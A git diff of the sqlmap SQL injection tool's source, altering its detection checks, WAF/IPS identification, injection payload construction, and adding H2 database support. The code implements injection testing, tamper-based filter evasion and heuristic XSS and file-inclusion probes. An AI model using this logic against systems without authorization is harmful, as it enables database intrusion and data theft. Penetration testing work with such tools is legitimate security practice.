if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
pushValue(kb.injection)
infoMsg = "checking if the injection point on %s " % injection.place
@@ -869,7 +899,7 @@ def checkFalsePositives(injection):
kb.injection = injection
for i in xrange(conf.level):
for level in xrange(conf.level):
while True:
randInt1, randInt2, randInt3 = (_() for j in xrange(3))
@@ -911,6 +941,7 @@ def checkFalsePositives(injection):
return retVal
@stackedmethod
def checkSuhosinPatch(injection):
"""
Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
@@ -918,7 +949,7 @@ def checkSuhosinPatch(injection):
if injection.place == PLACE.GET:
debugMsg = "checking for parameter length "
debugMsg += "constrainting mechanisms"
debugMsg += "constraining mechanisms"
logger.debug(debugMsg)
pushValue(kb.injection)
@@ -927,13 +958,14 @@ def checkSuhosinPatch(injection):
randInt = randomInt()
if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)):
warnMsg = "parameter length constrainting "
warnMsg = "parameter length constraining "
warnMsg += "mechanism detected (e.g. Suhosin patch). "
warnMsg += "Potential problems in enumeration phase can be expected"
logger.warn(warnMsg)
kb.injection = popValue()
@stackedmethod
def checkFilteredChars(injection):
debugMsg = "checking for filtered characters"
logger.debug(debugMsg)
@@ -954,7 +986,7 @@ def checkFilteredChars(injection):
# inference techniques depend on character '>'
if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)):
if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
warnMsg = "it appears that the character '>' is "
warnMsg += "filtered by the back-end server. You are strongly "
warnMsg += "advised to rerun with the '--tamper=between'"
@@ -963,8 +995,8 @@ def checkFilteredChars(injection):
kb.injection = popValue()
def heuristicCheckSqlInjection(place, parameter):
if kb.nullConnection:
debugMsg = "heuristic check skipped because NULL connection used"
if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg)
return None
@@ -1051,13 +1083,13 @@ def heuristicCheckSqlInjection(place, parameter):
if value.lower() in (page or "").lower():
infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType
infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter
infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter
logger.info(infoMsg)
for match in re.finditer(FI_ERROR_REGEX, page or ""):
if randStr1.lower() in match.group(0).lower():
infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter
infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter
logger.info(infoMsg)
break
@@ -1087,14 +1119,6 @@ def checkDynParam(place, parameter, value):
try:
payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False)
if not dynResult:
infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
logger.info(infoMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False)
except SqlmapConnectionException:
pass
@@ -1143,16 +1167,18 @@ def checkDynamicContent(firstPage, secondPage):
count += 1
if count > conf.retries:
warnMsg = "target URL is too dynamic. "
warnMsg = "target URL content appears to be too dynamic. "
warnMsg += "Switching to '--text-only' "
logger.warn(warnMsg)
conf.textOnly = True
return
warnMsg = "target URL is heavily dynamic"
warnMsg += ". sqlmap is going to retry the request"
logger.critical(warnMsg)
warnMsg = "target URL content appears to be heavily dynamic. "
warnMsg += "sqlmap is going to retry the request(s)"
singleTimeLogMessage(warnMsg, logging.CRITICAL)
kb.heavilyDynamic = True
secondPage, _, _ = Request.queryPage(content=True)
findDynamicContent(firstPage, secondPage)
@@ -1168,7 +1194,7 @@ def checkStability():
like for instance string matching (--string).
"""
infoMsg = "testing if the target URL is stable"
infoMsg = "testing if the target URL content is stable"
logger.info(infoMsg)
firstPage = kb.originalPage # set inside checkConnection()
@@ -1186,7 +1212,7 @@ def checkStability():
if kb.pageStable:
if firstPage:
infoMsg = "target URL is stable"
infoMsg = "target URL content is stable"
logger.info(infoMsg)
else:
errMsg = "there was an error checking the stability of page "
@@ -1196,12 +1222,11 @@ def checkStability():
logger.error(errMsg)
else:
warnMsg = "target URL is not stable. sqlmap will base the page "
warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page "
warnMsg += "comparison on a sequence matcher. If no dynamic nor "
warnMsg += "injectable parameters are detected, or in case of "
warnMsg += "junk results, refer to user's manual paragraph "
warnMsg += "'Page comparison' and provide a string or regular "
warnMsg += "expression to match on"
warnMsg += "'Page comparison'"
logger.warn(warnMsg)
message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] "
@@ -1282,14 +1307,14 @@ def checkRegexp():
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
if not re.search(conf.regexp, rawResponse, re.I | re.M):
warnMsg = "you provided '%s' as the regular expression to " % conf.regexp
warnMsg += "match, but such a regular expression does not have any "
warnMsg += "match within the target URL raw response, sqlmap "
warnMsg = "you provided '%s' as the regular expression " % conf.regexp
warnMsg += "which does not have any match within the target URL raw response. sqlmap "
warnMsg += "will carry on anyway"
logger.warn(warnMsg)
return True
@stackedmethod
def checkWaf():
"""
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
@@ -1302,7 +1327,7 @@ def checkWaf():
if _ is not None:
if _:
warnMsg = "previous heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS/IDS"
warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg)
return _
@@ -1310,34 +1335,47 @@ def checkWaf():
return None
infoMsg = "checking if the target is protected by "
infoMsg += "some kind of WAF/IPS/IDS"
infoMsg += "some kind of WAF/IPS"
logger.info(infoMsg)
retVal = False
payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload))
if PLACE.URI in conf.parameters:
place = PLACE.POST
value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
else:
place = PLACE.GET
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
pushValue(kb.redirectChoice)
pushValue(kb.resendPostOnRedirect)
pushValue(conf.timeout)
kb.redirectChoice = REDIRECTION.YES
kb.resendPostOnRedirect = False
conf.timeout = IDS_WAF_CHECK_TIMEOUT
try:
retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
except SqlmapConnectionException:
retVal = True
finally:
kb.matchRatio = None
conf.timeout = popValue()
kb.resendPostOnRedirect = popValue()
kb.redirectChoice = popValue()
if retVal:
warnMsg = "heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS/IDS"
warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg)
if not conf.identifyWaf:
message = "do you want sqlmap to try to detect backend "
message += "WAF/IPS/IDS? [y/N] "
message += "WAF/IPS? [y/N] "
if readInput(message, default='N', boolean=True):
conf.identifyWaf = True
@@ -1350,6 +1388,7 @@ def checkWaf():
return retVal
@stackedmethod
def identifyWaf():
if not conf.identifyWaf:
return None
@@ -1360,7 +1399,7 @@ def identifyWaf():
kb.testMode = True
infoMsg = "using WAF scripts to detect "
infoMsg += "backend WAF/IPS/IDS protection"
infoMsg += "backend WAF/IPS protection"
logger.info(infoMsg)
@cachedmethod
@@ -1387,7 +1426,7 @@ def identifyWaf():
continue
try:
logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
logger.debug("checking for WAF/IPS product '%s'" % product)
found = function(_)
except Exception, ex:
errMsg = "exception occurred while running "
@@ -1397,19 +1436,19 @@ def identifyWaf():
found = False
if found:
errMsg = "WAF/IPS/IDS identified as '%s'" % product
errMsg = "WAF/IPS identified as '%s'" % product
logger.critical(errMsg)
retVal.append(product)
if retVal:
if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
os.close(handle)
with openFile(filename, "w+b") as f:
f.write(kb.wafSpecificResponse)
message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename
message = "WAF/IPS specific response can be found in '%s'. " % filename
message += "If you know the details on used protection please "
message += "report it along with specific response "
message += "to '%s'" % DEV_EMAIL_ADDRESS
@@ -1426,7 +1465,7 @@ def identifyWaf():
if not choice:
raise SqlmapUserQuitException
else:
warnMsg = "WAF/IPS/IDS product hasn't been identified"
warnMsg = "WAF/IPS product hasn't been identified"
logger.warn(warnMsg)
kb.testType = None
@@ -1434,6 +1473,7 @@ def identifyWaf():
return retVal
@stackedmethod
def checkNullConnection():
"""
Reference: http://www.wisec.it/sectou.php?id=472f952d79293
@@ -1445,16 +1485,16 @@ def checkNullConnection():
infoMsg = "testing NULL connection to the target URL"
logger.info(infoMsg)
try:
pushValue(kb.pageCompress)
kb.pageCompress = False
pushValue(kb.pageCompress)
kb.pageCompress = False
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
try:
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
kb.nullConnection = NULLCONNECTION.HEAD
infoMsg = "NULL connection is supported with HEAD method (Content-Length)"
infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
logger.info(infoMsg)
else:
page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
@@ -1462,11 +1502,10 @@ def checkNullConnection():
if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
kb.nullConnection = NULLCONNECTION.RANGE
infoMsg = "NULL connection is supported with GET method (Range)"
infoMsg += "'%s'" % kb.nullConnection
infoMsg = "NULL connection is supported with GET method ('Range')"
logger.info(infoMsg)
else:
_, headers, _ = Request.getPage(skipRead = True)
_, headers, _ = Request.getPage(skipRead=True)
if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
kb.nullConnection = NULLCONNECTION.SKIP_READ
@@ -1474,9 +1513,8 @@ def checkNullConnection():
infoMsg = "NULL connection is supported with 'skip-read' method"
logger.info(infoMsg)
except SqlmapConnectionException, ex:
errMsg = getSafeExString(ex)
raise SqlmapConnectionException(errMsg)
except SqlmapConnectionException:
pass
finally:
kb.pageCompress = popValue()
@@ -1484,18 +1522,23 @@ def checkNullConnection():
return kb.nullConnection is not None
def checkConnection(suppressOutput=False):
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
try:
debugMsg = "resolving hostname '%s'" % conf.hostname
logger.debug(debugMsg)
socket.getaddrinfo(conf.hostname, None)
except socket.gaierror:
errMsg = "host '%s' does not exist" % conf.hostname
raise SqlmapConnectionException(errMsg)
except socket.error, ex:
errMsg = "problem occurred while "
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)
if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
try:
debugMsg = "resolving hostname '%s'" % conf.hostname
logger.debug(debugMsg)
socket.getaddrinfo(conf.hostname, None)
except socket.gaierror:
errMsg = "host '%s' does not exist" % conf.hostname
raise SqlmapConnectionException(errMsg)
except socket.error, ex:
errMsg = "problem occurred while "
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)
except UnicodeError, ex:
errMsg = "problem occurred while "
errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapDataException(errMsg)
if not suppressOutput and not conf.dummy and not conf.offline:
infoMsg = "testing connection to the target URL"
@@ -1508,6 +1551,10 @@ def checkConnection(suppressOutput=False):
kb.errorIsNone = False
if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
conf.disablePrecon = True
if not kb.originalPage and wasLastResponseHTTPError():
errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg)
@@ -1523,6 +1570,15 @@ def checkConnection(suppressOutput=False):
else:
kb.errorIsNone = True
threadData = getCurrentThreadData()
if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
conf.url = re.sub(r"https?://", "https://", conf.url)
match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
port = match.group(1) if match else 443
conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
except SqlmapConnectionException, ex:
if conf.ipv6:
warnMsg = "check connection to a provided "
@@ -1553,8 +1609,8 @@ def checkInternet():
content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
return CHECK_INTERNET_VALUE in (content or "")
def setVerbosity(): # Cross-linked function
def setVerbosity(): # Cross-referenced function
raise NotImplementedError
def setWafFunctions(): # Cross-linked function
def setWafFunctions(): # Cross-referenced function
raise NotImplementedError

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -43,6 +43,7 @@ from lib.core.common import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CONTENT_TYPE
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST
@@ -55,9 +56,11 @@ from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapValueException
from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import ASP_NET_CONTROL_REGEX
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
from lib.core.settings import IGNORE_PARAMETERS
@@ -152,12 +155,15 @@ def _formatInjection(inj):
vector = "%s%s" % (vector, comment)
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title
data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus))
data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
return data
def _showInjections():
if conf.wizard and kb.wizardMode:
kb.wizardMode = False
if kb.testQueryCount > 0:
header = "sqlmap identified the following injection point(s) with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
@@ -239,15 +245,22 @@ def _saveToResultsFile():
results[key].extend(injection.data.keys())
for key, value in results.items():
place, parameter, notes = key
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.writelines(line)
try:
for key, value in results.items():
place, parameter, notes = key
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line)
if not results:
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.writelines(line)
if not results:
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.write(line)
conf.resultsFP.flush()
except IOError, ex:
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
@stackedmethod
def start():
"""
This function calls a function that performs checks on both URL
@@ -281,7 +294,7 @@ def start():
try:
if conf.checkInternet:
infoMsg = "[INFO] checking for Internet connection"
infoMsg = "checking for Internet connection"
logger.info(infoMsg)
if not checkInternet():
@@ -300,6 +313,7 @@ def start():
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
initTargetEnv()
parseTargetUrl()
@@ -366,9 +380,8 @@ def start():
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
else:
if targetUrl.find("?") > -1:
firstPart = targetUrl[:targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") + 1:]
if '?' in targetUrl:
firstPart, secondPart = targetUrl.split('?', 1)
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
@@ -402,8 +415,7 @@ def start():
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
and (kb.injection.place is None or kb.injection.parameter is None):
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display
@@ -500,7 +512,7 @@ def start():
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False
infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
@@ -519,7 +531,7 @@ def start():
testSqlInj = False
else:
infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
@@ -581,11 +593,11 @@ def start():
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters appear to be not injectable."
errMsg = "all tested parameters do not appear to be injectable."
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase '--level'/'--risk' values "
errMsg += "to perform more tests."
errMsg += " Try to increase values for '--level'/'--risk' options "
errMsg += "if you wish to perform more tests."
if isinstance(conf.tech, list) and len(conf.tech) < 5:
errMsg += " Rerun without providing the option '--technique'."
@@ -608,15 +620,9 @@ def start():
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests. "
errMsg += "Please, consider usage of tampering scripts as "
errMsg += "your target might filter the queries."
errMsg += "strongly advised to continue on with the tests."
if not conf.string and not conf.notString and not conf.regexp:
errMsg += " Also, you can try to rerun by providing "
errMsg += "either a valid value for option '--string' "
errMsg += "(or '--regexp')."
elif conf.string:
if conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
@@ -629,8 +635,8 @@ def start():
if not conf.tamper:
errMsg += " If you suspect that there is some kind of protection mechanism "
errMsg += "involved (e.g. WAF) maybe you could retry "
errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"
errMsg += "involved (e.g. WAF) maybe you could try to use "
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -10,6 +10,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.dicts import DBMS_DICT
from lib.core.enums import DBMS
from lib.core.exception import SqlmapConnectionException
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy
@@ -46,6 +48,8 @@ from plugins.dbms.db2 import DB2Map
from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.hsqldb import HSQLDBMap
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.h2 import H2Map
from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.informix import InformixMap
from plugins.dbms.informix.connector import Connector as InformixConn
@@ -56,19 +60,20 @@ def setHandler():
"""
items = [
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
(DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
(DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
(DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
(DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
(DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
(DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
]
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
(DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
(DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
(DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
(DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
(DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
(DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
if _:
@@ -90,29 +95,41 @@ def setHandler():
conf.dbmsConnector = Connector()
if conf.direct:
exception = None
dialect = DBMS_DICT[dbms][3]
if dialect:
sqlalchemy = SQLAlchemy(dialect=dialect)
sqlalchemy.connect()
try:
sqlalchemy = SQLAlchemy(dialect=dialect)
sqlalchemy.connect()
if sqlalchemy.connector:
conf.dbmsConnector = sqlalchemy
else:
try:
conf.dbmsConnector.connect()
except NameError:
pass
else:
conf.dbmsConnector.connect()
if sqlalchemy.connector:
conf.dbmsConnector = sqlalchemy
except Exception, ex:
exception = ex
if not dialect or exception:
try:
conf.dbmsConnector.connect()
except Exception, ex:
if exception:
raise exception
else:
if not isinstance(ex, NameError):
raise
else:
msg = "support for direct connection to '%s' is not available. " % dbms
msg += "Please rerun with '--dependencies'"
raise SqlmapConnectionException(msg)
if conf.forceDbms == dbms or handler.checkDbms():
if kb.resolutionDbms:
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
conf.dbmsHandler._dbms = kb.resolutionDbms
else:
conf.dbmsHandler = handler
conf.dbmsHandler._dbms = dbms
conf.dbmsHandler._dbms = dbms
break
else:
conf.dbmsConnector = None

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -43,6 +43,7 @@ from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import NULL
from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.unescaper import unescaper
@@ -97,6 +98,7 @@ class Agent(object):
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter])
newValue = getUnicode(newValue) if newValue else newValue
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue
@@ -105,7 +107,7 @@ class Agent(object):
else:
origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':'):
for char in ('?', '=', ':', ','):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
@@ -120,8 +122,8 @@ class Agent(object):
origValue = _.split('=', 1)[1] if '=' in _ else ""
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0]
origValue = origValue[origValue.find(',') + 1:]
origValue = origValue.split(kb.customInjectionMark)[0]
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
if match:
origValue = match.group("value")
@@ -141,7 +143,7 @@ class Agent(object):
match = re.search(r"\A[^ ]+", newValue)
newValue = newValue[len(match.group() if match else ""):]
_ = randomInt(2)
value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1)
value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
elif conf.invalidBignum:
value = randomInt(6)
elif conf.invalidString:
@@ -197,7 +199,7 @@ class Agent(object):
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
else:
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
if retVal == paramString and urlencode(parameter) != parameter:
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
@@ -207,16 +209,6 @@ class Agent(object):
return retVal
def fullPayload(self, query):
if conf.direct:
return self.payloadDirect(query)
query = self.prefixQuery(query)
query = self.suffixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, expression, prefix=None, where=None, clause=None):
"""
This method defines how the input expression has to be escaped
@@ -255,6 +247,9 @@ class Agent(object):
else:
query = kb.injection.prefix or prefix or ""
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
query += " "
@@ -303,22 +298,29 @@ class Agent(object):
if payload is None:
return
